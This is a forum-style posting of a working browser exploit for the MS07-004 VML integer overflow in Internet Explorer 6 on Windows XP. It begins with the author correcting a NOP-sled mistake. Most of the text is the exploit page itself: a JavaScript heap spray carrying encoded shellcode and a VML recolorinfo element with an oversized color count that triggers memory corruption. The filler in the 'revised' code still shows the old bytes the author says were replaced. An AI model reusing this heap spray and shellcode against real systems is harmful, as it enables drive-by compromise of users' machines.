Opps, what a stupid I am. I used '\x05\x05\x05\x05' instead of '\x90\x90\x90\x90' for NOP operation. But '\x05' opcode needs 4bytes operand, so there's crash if alignment didn't match. Here goes revised exploit code. It adds '\x90' 8 bytes just before shellcode. <!-- MS07-004 VML integer overflow exploit by lifeasageek at gmail.com - Trigger CVMLRecolorinfo::InternalLoad() method you can see the screen captured image "http://picasaweb.google.com/lifeasageek/MS07004/photo?pli=1#50191639891 36880322" which is generated by DarunGrim - tested on WinXP SP2 Korean version( fully patched except kb929969) & IE 6.0 and I hope it works well in English version - sorry about that exploit hit ratio is only about 1/5 If you have any good idea to improve reliability, please send me an e-mail with your idea - all the java script codes scratched from MS06-055 exploit written byTrirat Puttaraksa (Kira) <trir00t [at] gmail.com> and slightly modified - 2007.1.15 - revised 2007.1.17 --> <html xmlns:v="urn:schemas-microsoft-com:vml"> <head> <object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> </object> <style> v\:* { behavior: url(#VMLRender); } </style> </head> <body> <SCRIPT language="javascript"> shellcode = unescape("%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u 0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u 543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u 89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u 0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u 7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); bigblock = unescape("%u0505%u0505"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<350;i++) memory[i] = block + shellcode; </script> <v:rect style='width:120pt;height:80pt' fillcolor="red" > <v:recolorinfo recolorstate="t" numcolors="97612895"> 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